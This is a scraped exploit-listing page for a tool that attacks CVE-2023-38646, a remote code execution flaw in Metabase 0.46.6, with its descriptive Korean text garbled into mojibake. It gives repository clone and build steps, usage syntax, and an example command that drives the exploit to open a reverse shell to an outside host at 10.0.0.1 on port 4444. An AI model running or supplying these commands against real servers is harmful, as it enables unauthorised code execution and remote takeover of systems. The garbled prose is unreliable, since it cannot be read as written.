## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DANITHEHACK3R-CVE-2023-38646
# CVE-2023-38646
CVE-2023-38646 Metabase 0.46.6 μ΅μ€νλ‘μ
μ΄ λꡬλ μννΈμ¨μ΄ νλ«νΌμ μ·¨μ½μ (CVE-2023-38646)μ μ
μ©ν©λλ€. μ΄ μ΅μ€νλ‘μμ μλͺ» μ²λ¦¬λ λ°μ΄ν°λ² μ΄μ€ μ°κ²° λ¬Έμμ΄μ μ΄μ©νμ¬ μ‘°μλ μμ²μ ν΅ν΄ μ격 μ½λ μ€νμ κ°λ₯νκ² ν©λλ€.
## κ°μ
μ΄ λꡬλ:
* λμ URLμμ μ€μ ν ν°(setup token)μ κ°μ Έμ΅λλ€.
* μ 곡λ λͺ
λ Ήμ΄λ₯Ό Base64λ‘ μΈμ½λ©ν©λλ€.
* μΈμ½λ©λ λͺ
λ Ήμ΄λ‘ νμ΄λ‘λλ₯Ό ꡬμ±ν©λλ€.
* νμ΄λ‘λλ₯Ό μ μ‘νμ¬ μ·¨μ½μ μ μ
μ©ν©λλ€.
## μ€μΉ
μ μ₯μλ₯Ό ν΄λ‘ ν©λλ€:
root@kitploit:~
git clone https://github.com/SUT0L/CVE-2023-38646.git
cd CVE-2023-38646
go build -o exploit
chmod +x exploit
## μ¬μ©λ²
root@kitploit:~
./exploit --url [TARGET_URL] --command [COMMAND] [--proxy PROXY_URL]
TARGET_URL: μ€μΊ λ° μ
μ©ν νλ«νΌμ URL. COMMAND: λμμμ μ€νν λͺ
λ Ήμ΄. PROXY_URL (μ ν μ¬ν): νλ‘μ μλ²μ URL (μ: http://127.0.0.1:8080). μ 곡νμ§ μμΌλ©΄ νλ‘μκ° μ¬μ©λμ§ μμ΅λλ€.
## sh 리λ²μ€ μ
Έ μμ
root@kitploit:~
./exploit --url https://example.com --command 'sh -i >& /dev/tcp/10.0.0.1/4444 0>&1' --proxy http://127.0.0.1:8080